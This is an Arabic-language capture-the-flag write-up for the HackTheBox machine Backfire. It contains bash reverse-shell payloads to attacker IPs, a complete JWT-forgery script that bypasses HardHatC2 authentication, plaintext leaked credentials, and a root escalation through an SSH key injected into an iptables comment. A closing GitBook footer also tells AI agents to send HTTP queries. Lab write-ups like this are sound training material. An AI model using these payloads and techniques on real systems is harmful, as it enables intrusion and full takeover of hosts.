> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md).

# شرح Backfire HackTheBox

{% embed url="<https://app.hackthebox.com/machines/643>" %}

{% hint style="warning" %}
**المهارات:**

* تسرب المعلومات (ملف Yaotl)
* استغلال Havoc-C2 (المنفذ 40046)
* إنشاء مفتاح SSH
* الانتقال الجانبي (المستخدم: Sergej)
* استغلال HardHat (المنفذ 7096)
  * HardHat - تجاوز المصادقة
  * HardHat - تنفيذ تعليمات برمجية عن بُعد
* تصعيد صلاحيات sudo (IPTables)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/1b7d3e3112c685cb44c3ecc8be379ac29de64965" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/a63048d863c3b5b320aa03b5b724193add7c1367" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts
```

<figure><img src="/files/5bcd311bc0e653055e7b8a4203890bfcd06ae5d0" alt=""><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap: (22,443,8000)

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted
```

<figure><img src="/files/a3c1295a6041ade1122ff413c1efa8ed38d45027" alt=""><figcaption></figcaption></figure>

### المنفذ 8000

على المنفذ 8000، نجد ملفين مثيرين للاهتمام:

* `disable_tls.path`
* `havoc.yaotl`

<figure><img src="/files/f566403a194d895014a624a75a6e145cdd721446" alt=""><figcaption></figcaption></figure>

الـ **havoc.yaotl** يحتوي الملف على مستخدمين مع كلمات المرور الخاصة بهم واسم نطاق:

* **ilya:** `CobaltStr1keSuckz!`
* **sergej:** `1w4nt2sw1tch2h4rdh4tc2`
* **المضيف:** `backfire.htb`

<figure><img src="/files/eeb20fb6f1490d45fb6ed18d9cf2acedd0121df7" alt=""><figcaption></figcaption></figure>

نضيف اسم المضيف هذا في ملفنا `/etc/hosts` للوصول إليه بسهولة.

<figure><img src="/files/62833a722365a73150699261dfdd9d2b106b57f1" alt="" width="563"><figcaption></figcaption></figure>

الـ **disable/ tls.path** يحتوي الملف على تصحيح لتعطيل TLS على منفذ إدارة WebSocket (40056) في Havoc. يستبدل هذا التصحيح "wss\://" بـ "ws\://" ويزيل إعدادات SSL لكلٍّ من العميل والخادم. يبرر المؤلف هذا التغيير بأن هذا المنفذ لا يقبل إلا الاتصالات المحلية عبر تحويل SSH، مما يقلل مخاطر الأمان. ويبدو أن هذا التصحيح أيضًا نوع من السخرية من عمل المستخدم **sergej**السريع الذي قام به.

<figure><img src="/files/23b23b63c89c0ec865b7599009041400f54f0790" alt=""><figcaption></figcaption></figure>

## منفذ 40046 Havoc-C2

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

لاستغلال ثغرة SSRF في Havoc، ننشئ `payload.sh` يحتوي على الكود التالي:

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

بعد ذلك، نقوم بإعداد خادم ويب لاستضافة الحمولة الخاصة بنا باستخدام الأمر التالي:

```bash
python3 -m http.server 80
```

ثم نستمع على المنفذ 4444 باستخدام netcat لتلقي الاتصال العكسي:

```bash
nc -nlvp 4444
```

نعدّل السكربت لتضمين المعلومات ذات الصلة، ثم نشغّل الاستغلال عبر الأمر التالي:

<figure><img src="/files/e01e82f56d78e6a87f50e49b482648fd43a149c4" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**وصول المستخدم:**

المستخدم **ilya** يتيح لك الاتصال بالجهاز المستهدف.

<figure><img src="/files/dece4e2fb929d4b61917459542da4706241ea439" alt=""><figcaption></figcaption></figure>

#### تثبيت الطرفية

<pre class="language-bash"><code class="lang-bash">script /dev/null -c bash
اضغط `Ctrl+Z`، ثم ثبّت الطرفية:

stty raw -echo; fg
reset xterm
export TERM=xterm
<strong>export SHELL=bash
</strong>stty rows 44 columns 184
</code></pre>

### الراية user.txt

<figure><img src="/files/a62dceacae8b71ff867a21cc993f7921043b8498" alt="" width="563"><figcaption></figcaption></figure>

نلاحظ أن مهمة cron تطرد جلستنا كل دقيقتين. ولحل هذه المشكلة، سننشئ مفاتيح SSH.

### **إنشاء مفاتيح SSH:**

ننشئ مفتاح SSH جديدًا باستخدام الأمر التالي:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
```

{% endcode %}

<figure><img src="/files/951190ed2947b3c54ab369933cae3c97fcb04d08" alt=""><figcaption></figcaption></figure>

ثم نعدّل `authorized_keys` الملف لإضافة مفتاحنا العام:

{% code overflow="wrap" %}

```bash
echo "YOU KEY" | tee -a ~/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="/files/98e31f4fc377b08d3776d110b639a7ad0d0aa013" alt=""><figcaption></figcaption></figure>

ثم نتصل بالجهاز المستهدف باستخدام SSH:

```bash
ssh ilya@backfire.htb
```

<figure><img src="/files/95ad17cd85412579e308adbdfa5887f84d352791" alt=""><figcaption></figcaption></figure>

### **الانتقال الجانبي إلى المستخدم Sergej**

في دليل المستخدم `ilya`، نجد ملفًا `hardhat.txt` يحتوي على الرسالة التالية:

> قال Sergej إنه ثبت HardHatC2 للاختبار ولم يغيّر الإعدادات الافتراضية. آمل أن يفضّل Havoc لأنني لا أريد تعلّم إطار عمل C2 آخر، وGo

<figure><img src="/files/65d28b84ab0eb6bd27a8ddeb50e225503f0ff51f" alt=""><figcaption></figcaption></figure>

نفحص المنافذ الداخلية باستخدام `netstat` الأمر:

```bash
netstat -tuln
```

يبدو أن المنفذين 5000 و7096 مثيران للاهتمام بشكل خاص.

<figure><img src="/files/f5ee7b6ec3f6d659c58d7db81c75d22ae468153c" alt=""><figcaption></figcaption></figure>

**إعادة توجيه المنافذ:**

نقوم بإعادة توجيه المنافذ باستخدام SSH للوصول إلى الخدمات الداخلية:

```bash
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
```

## **المنفذ 7096 - HardHatC2 CMS :**

على المنفذ 7096 نجد HardHat CMS.

<figure><img src="/files/8f8acbd6c9abd4255562b0eed589a7d5824d3aa9" alt=""><figcaption></figcaption></figure>

### **تجاوز مصادقة HardHat C2**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

نستخدم السكربت التالي لتجاوز المصادقة وإنشاء مستخدم جديد:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# إنشاء JWT للمسؤول  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("تم إنشاء JWT:")  
print(token)  
  
# استخدم JWT الخاص بالمسؤول لإنشاء مستخدم جديد 'sth_pentest' بصفته TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

ينشئ السكربت المستخدم `jordan` بالدور `TeamLead`.

<figure><img src="/files/1d392db440902149ed720804fec977d841582546" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/baf428e0df57f75be40de016f5c6f8dcce03af74" alt=""><figcaption></figcaption></figure>

### Hardhat C2 (تنفيذ تعليمات برمجية عن بُعد)

في `ImplantInteract` الجزء، نحصل على وصول إلى طرفية. عند تشغيل `whoami` الأمر، نرى أننا سجّلنا الدخول كمستخدم `sergej`.

<figure><img src="/files/12ded6188b0d6068d8683896444e235201bc7625" alt=""><figcaption></figcaption></figure>

ننشئ غلافًا عكسيًا للمستخدم `sergej` من خلال الاستماع على المنفذ 443:

```bash
nc -nlvp 443
```

ولننفذ الأمر التالي لإجراء الاتصال العكسي

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

بعد الاتصال، نضيف مفتاح SSH الخاص بنا إلى `authorized_keys` حتى نتمكن من إعادة الاتصال بسهولة:

<figure><img src="/files/e520592bb738bfc7858154e8fd862281ecfd1d54" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```

## **تصعيد الامتيازات :**

### **Sudo - جداول IP**

**التحقق من صلاحيات sudo**

نبدأ بالتحقق من صلاحيات sudo المتاحة على الجهاز:

```bash
sudo -l
```

<figure><img src="/files/31bf037e9380af782a823c2c2cec9425dd197fae" alt="" width="556"><figcaption></figcaption></figure>

نكتشف أن المستخدم لديه `sudo` صلاحيات بدون كلمة مرور للأوامر التالية:

* `/usr/sbin/iptables`
* `/usr/sbin/iptables-save`

**إنشاء زوج مفاتيح SSH**

ننشئ زوج مفاتيح SSH لحقن مفتاحنا العام في ملفات مصادقة الجذر:

```bash
ssh-keygen  -t ed25519
```

هذا هو المفتاح العام المُنشأ:

{% code overflow="wrap" %}

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot
```

{% endcode %}

**حقن المفتاح العام في iptables**

نستخدم الحقل `--comment` في `iptables` لحقن مفتاحنا العام في قاعدة

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n'
```

{% endcode %}

نتحقق من إضافة القاعدة:

```bash
 sudo /usr/sbin/iptables -L
```

<figure><img src="/files/e34c2272e3346de78386a7c9392a4df0467428d7" alt=""><figcaption></figcaption></figure>

**الحفظ في ملف authorized/\_keys**

نحفظ قواعد iptables في ملف سيُستخدم كملف مصادقة المستخدم الجذر `authorized_keys` الملف:

```bash
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2
```

**تسجيل الدخول كجذر**

أخيرًا، يمكننا الاتصال عبر SSH بصفتنا root:

```bash
ssh root@backfire.htb
```

<figure><img src="/files/f992b5ef2d880d90c8b420b76fd002521e79eaf8" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/2cde80b1bf26992e9c89f8b08e7819ecf4f50057" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
